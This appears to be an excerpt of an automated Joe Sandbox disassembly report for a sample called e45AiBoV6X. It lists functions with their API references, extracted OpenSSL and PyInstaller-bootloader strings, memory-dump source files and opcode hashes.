00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B4382

Strings

PRIVATE KEY, xrefs: 00007FFDFB1B4135, 00007FFDFB1B4164
CMS, xrefs: 00007FFDFB1B4387
PARAMETERS, xrefs: 00007FFDFB1B41B1, 00007FFDFB1B41E1
PKCS #7 SIGNED DATA, xrefs: 00007FFDFB1B434D
TRUSTED CERTIFICATE, xrefs: 00007FFDFB1B42C8, 00007FFDFB1B42EE
NEW CERTIFICATE REQUEST, xrefs: 00007FFDFB1B428B
PKCS7, xrefs: 00007FFDFB1B4312
X9.42 DH PARAMETERS, xrefs: 00007FFDFB1B4237
CERTIFICATE REQUEST, xrefs: 00007FFDFB1B429E
ENCRYPTED PRIVATE KEY, xrefs: 00007FFDFB1B411E
ANY PRIVATE KEY, xrefs: 00007FFDFB1B4107
DH PARAMETERS, xrefs: 00007FFDFB1B424A
CERTIFICATE, xrefs: 00007FFDFB1B4274, 00007FFDFB1B42B5, 00007FFDFB1B4301, 00007FFDFB1B4378
X509 CERTIFICATE, xrefs: 00007FFDFB1B4261, 00007FFDFB1B42DB

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: 00007B5630
String ID: ANY PRIVATE KEY$CERTIFICATE$CERTIFICATE REQUEST$CMS$DH PARAMETERS$ENCRYPTED PRIVATE KEY$NEW CERTIFICATE REQUEST$PARAMETERS$PKCS #7 SIGNED DATA$PKCS7$PRIVATE KEY$TRUSTED CERTIFICATE$X509 CERTIFICATE$X9.42 DH PARAMETERS
API String ID: 2248877218-1119032718
Opcode ID: 88557610c1077b526ed49270ffd766f7b77ef80781f962a522a209ea931fc564
Instruction ID: fc4c09058e97c27e1c3d6ce117edf08e9b8743f2aeb64cdb497e03515433fe70
Opcode Fuzzy Hash: 88557610c1077b526ed49270ffd766f7b77ef80781f962a522a209ea931fc564
Instruction Fuzzy Hash: A191F113F0E64384FF5197259970A7826D1EF56BC8F48D130D97E866FEEE1CE6248A00

Function 00007FFDFB001C1C Relevance: 24.8, APIs: 5, Strings: 9, Instructions: 267COMMON

Download Yara Rule

APIs

00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFB0B1B83
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFB0B1CAC
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFB0B1CBF
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFB0B1E5C
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFB0B1E6F

Strings

application/pkcs7-mime, xrefs: 00007FFDFB0B1E65
boundary, xrefs: 00007FFDFB0B1B94
type: , xrefs: 00007FFDFB0B1CEE, 00007FFDFB0B1E9E
..\s\crypto\asn1\asn_mime.c, xrefs: 00007FFDFB0B1AFB, 00007FFDFB0B1C3D, 00007FFDFB0B1CD5, 00007FFDFB0B1D51, 00007FFDFB0B1DD5, 00007FFDFB0B1E07, 00007FFDFB0B1E85, 00007FFDFB0B1F0C
multipart/signed, xrefs: 00007FFDFB0B1B79
application/x-pkcs7-signature, xrefs: 00007FFDFB0B1CA2
application/pkcs7-signature, xrefs: 00007FFDFB0B1CB5
content-type, xrefs: 00007FFDFB0B1B34
application/x-pkcs7-mime, xrefs: 00007FFDFB0B1E52

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: 00007B5630
String ID: ..\s\crypto\asn1\asn_mime.c$application/pkcs7-mime$application/pkcs7-signature$application/x-pkcs7-mime$application/x-pkcs7-signature$boundary$content-type$multipart/signed$type:
API String ID: 2248877218-3630080479
Opcode ID: 7ebc3a45523df780ecbf5d5eee50afa3b023d1eb5b1fbd1f84c6fabd0e5d4c90
Instruction ID: f7442fa3c227295fc19e7eadf1e6100d3195faed91a0009d77d22f7ad44b612a
Opcode Fuzzy Hash: 7ebc3a45523df780ecbf5d5eee50afa3b023d1eb5b1fbd1f84c6fabd0e5d4c90
Instruction Fuzzy Hash: CFC17E21B1E64781EB14EB11A861EB96391AF467C8F488031E96D477FEDF3CE505EB40

Function 00007FF6FB1E15C0 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 137COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF6FB1E16F6
fseek, xrefs: 00007FF6FB1E1695
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF6FB1E16EF
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6FB1E165B
fopen, xrefs: 00007FF6FB1E161E
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6FB1E168E
fwrite, xrefs: 00007FF6FB1E177C
fread, xrefs: 00007FF6FB1E178C
Failed to extract %s: failed to open target file!, xrefs: 00007FF6FB1E1617
Failed to create symbolic link %s!, xrefs: 00007FF6FB1E15E2
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6FB1E1785
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF6FB1E1775

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2030045667-1550345328
Opcode ID: bfc136c924c464ef2621553932b0a9cd8dc9cfe98ff03daf035e503e87b3996c
Instruction ID: f344059fb2ec416c9533b84e2c64572820f65bd2df5aa9520ed281a62e0ad389
Opcode Fuzzy Hash: bfc136c924c464ef2621553932b0a9cd8dc9cfe98ff03daf035e503e87b3996c
Instruction Fuzzy Hash: EC515565E0864392EB20DB25A9605BD22A0BF4DB98F444131EE2EC7AF5FF6CF5648740

Function 00007FF6FB1E77D0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FB1E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6FB1E3FA4,00000000,00007FF6FB1E1925), ref: 00007FF6FB1E86E9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF6FB1E7C97,?,?,FFFFFFFF,00007FF6FB1E3834), ref: 00007FF6FB1E782C

Part of subcall function 00007FF6FB1E26C0: MessageBoxW.USER32 ref: 00007FF6FB1E2736

Strings

\, xrefs: 00007FF6FB1E7861
CreateDirectory, xrefs: 00007FF6FB1E7974
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF6FB1E7803
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF6FB1E78D9
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF6FB1E7840
%.*s, xrefs: 00007FF6FB1E790C
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF6FB1E789D
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF6FB1E796D

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 5adf1a7b4f365c991e592d6daa758356e56cb82b092043d5b28c068608273831
Instruction ID: 2a2c100b0747b2f2dabfa6ddf9d6b2e70d0fd2179999a184dedd6c9b8e97e886
Opcode Fuzzy Hash: 5adf1a7b4f365c991e592d6daa758356e56cb82b092043d5b28c068608273831
Instruction Fuzzy Hash: 33416F11F2964381FB60EB24E9616BE6251AF9C7C8F545031DA6EC2AF9FE6CF108C740

Function 00007FFDFB004E3F Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 205registryfileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FFDFB10DE04
GetFileType.KERNEL32 ref: 00007FFDFB10DE15
WriteFile.KERNEL32 ref: 00007FFDFB10DE79
MultiByteToWideChar.KERNEL32 ref: 00007FFDFB10DEE6
RegisterEventSourceW.ADVAPI32 ref: 00007FFDFB10E094
ReportEventW.ADVAPI32 ref: 00007FFDFB10E0D6
DeregisterEventSource.ADVAPI32 ref: 00007FFDFB10E0DF

Strings

OpenSSL: FATAL, xrefs: 00007FFDFB10E0ED
OpenSSL, xrefs: 00007FFDFB10E08D
, xrefs: 00007FFDFB10DF00
no stack?, xrefs: 00007FFDFB10DECC

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: Event$FileSource$ByteCharDeregisterHandleMultiRegisterReportTypeWideWrite
String ID: $OpenSSL$OpenSSL: FATAL$no stack?
API String ID: 1270133462-2963566556
Opcode ID: f345fe9751aee154af01c3e1e6d1fa697fd8000db767964d7236d7de487c6ed0
Instruction ID: 0d1ea05057f81401bfa15a94c505267589af4423a5f6aabf2c91f99a78ded360
Opcode Fuzzy Hash: f345fe9751aee154af01c3e1e6d1fa697fd8000db767964d7236d7de487c6ed0
Instruction Fuzzy Hash: 9A91D473F09B8786EB209F25D8605A937A0FB457D8F444235EAAD07AE9EF38D255C300

Function 00007FFDFB39DB10 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 98COMMON

Download Yara Rule

APIs

00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFB39DB46
00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFB39DB77

Strings

SUITEB128ONLY, xrefs: 00007FFDFB39DB3A
SUITEB128, xrefs: 00007FFDFB39DB9B
ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384, xrefs: 00007FFDFB39DC4E
ECDHE-ECDSA-AES256-GCM-SHA384, xrefs: 00007FFDFB39DC55, 00007FFDFB39DC65
..\s\ssl\ssl_ciph.c, xrefs: 00007FFDFB39DC0C
SUITEB128C2, xrefs: 00007FFDFB39DB6A
ECDHE-ECDSA-AES128-GCM-SHA256, xrefs: 00007FFDFB39DC71
SUITEB192, xrefs: 00007FFDFB39DBC9

Memory Dump Source

Source File: 00000001.00000002.1991624093.00007FFDFB381000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFB380000, based on PE: true

Associated: 00000001.00000002.1991585735.00007FFDFB380000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB3F3000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB3F5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB418000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB423000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB42D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1992057570.00007FFDFB430000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1992103361.00007FFDFB432000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb380000_e45AiBoV6X.jbxd

Similarity

API ID: 00007B6570
String ID: ..\s\ssl\ssl_ciph.c$ECDHE-ECDSA-AES128-GCM-SHA256$ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384$ECDHE-ECDSA-AES256-GCM-SHA384$SUITEB128$SUITEB128C2$SUITEB128ONLY$SUITEB192
API String ID: 4069847057-2661540032
Opcode ID: 73a2b98f0341162a4e3f0692160103fb4748255efad1c5f3900bd53c3e4ab39e
Instruction ID: c8e8e44005d181a017e4bb9a5558a58b68d82c1d02f6d671eaeead4c6e8fa171
Opcode Fuzzy Hash: 73a2b98f0341162a4e3f0692160103fb4748255efad1c5f3900bd53c3e4ab39e
Instruction Fuzzy Hash: 9E419072B4AA47ABE714AB14D861B7877E1EB48B48F004035DA2D877F8DF6CE550CB40

Function 00007FFDFB0032AB Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

00007FFE1FFA1370.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FFDFB1FAD4C
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFB1FAD61
00007FFE1FFA1370.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FFDFB1FAD73

Strings

millisecs, xrefs: 00007FFDFB1FAD57
microsecs, xrefs: 00007FFDFB1FAD7E
secs, xrefs: 00007FFDFB1FAD1D
accuracy, xrefs: 00007FFDFB1FAC83, 00007FFDFB1FACD3, 00007FFDFB1FAE24
..\s\crypto\ts\ts_conf.c, xrefs: 00007FFDFB1FACC0, 00007FFDFB1FAE0C
p, xrefs: 00007FFDFB1FAE04

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: 00007$A1370$B5630
String ID: ..\s\crypto\ts\ts_conf.c$accuracy$microsecs$millisecs$p$secs
API String ID: 751195488-1596076588
Opcode ID: ae98376ed62e7f2547e13ed3231a9dc688f41d63b3bfb75b3373190d81aa6424
Instruction ID: 038ae38c37a9f48ed18c555615140fb83476b08cc58254cc207abe62a8eb5b44
Opcode Fuzzy Hash: ae98376ed62e7f2547e13ed3231a9dc688f41d63b3bfb75b3373190d81aa6424
Instruction Fuzzy Hash: C651B062F1A68786EB04AB269830AB937A0BF45B88F440135ED6E437FDDF3CE505D200

Function 00007FF6FB1E20F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6FB1E211B
SelectObject.GDI32 ref: 00007FF6FB1E2162
DrawTextW.USER32 ref: 00007FF6FB1E2185
SelectObject.GDI32 ref: 00007FF6FB1E219B
ReleaseDC.USER32 ref: 00007FF6FB1E21AB
MoveWindow.USER32 ref: 00007FF6FB1E21FB
MoveWindow.USER32 ref: 00007FF6FB1E223B
MoveWindow.USER32 ref: 00007FF6FB1E228E
MoveWindow.USER32 ref: 00007FF6FB1E22D6

Strings

P%, xrefs: 00007FF6FB1E216F

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 028f263e58f42d33d872b22938efc015f71aa7b4c996476cfe5add7d8b08dd36
Instruction ID: 3dc3369830e126535fdb4c2228ed0b968f663e87a8ca85238e0f76eaa7092272
Opcode Fuzzy Hash: 028f263e58f42d33d872b22938efc015f71aa7b4c996476cfe5add7d8b08dd36
Instruction Fuzzy Hash: 5C51E7266147A286D7349F22B4681BEB7A1F798BA5F004121EBDF83794EF3CD145CB10

Function 00007FFDFAEE27B0 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFDFAEE27D8
__scrt_initialize_crt.LIBCMT ref: 00007FFDFAEE281D
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFDFAEE282A
_RTC_Initialize.LIBCMT ref: 00007FFDFAEE2858
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFDFAEE287E
__scrt_release_startup_lock.LIBCMT ref: 00007FFDFAEE28A9

Memory Dump Source

Source File: 00000001.00000002.1989811289.00007FFDFAEE1000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAEE0000, based on PE: true

Associated: 00000001.00000002.1989771802.00007FFDFAEE0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAF44000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAF93000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAFEC000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAFF1000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAFF4000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1990150988.00007FFDFAFF5000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1990196980.00007FFDFAFF7000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaee0000_e45AiBoV6X.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: 3e50bca76b458b5b335c38d1977d3d2f200015baaf06637f67122f405ac3e86f
Instruction ID: 4ceabc019f29a6f1169d5f8dc23aee173c3ffd6a3f6a44ce20c7a5f7215bccb9
Opcode Fuzzy Hash: 3e50bca76b458b5b335c38d1977d3d2f200015baaf06637f67122f405ac3e86f
Instruction Fuzzy Hash: DC818F21F0824346FF6CBF6598E1A796290AF85780F5641B5ED6E473DEEE2EEC418700

Function 00007FF6FB1F55A0 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F55E3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F59D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F5C6C

Strings

-, xrefs: 00007FF6FB1F5679
f, xrefs: 00007FF6FB1F5705
:, xrefs: 00007FF6FB1F579C
p, xrefs: 00007FF6FB1F570D
p, xrefs: 00007FF6FB1F5695

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
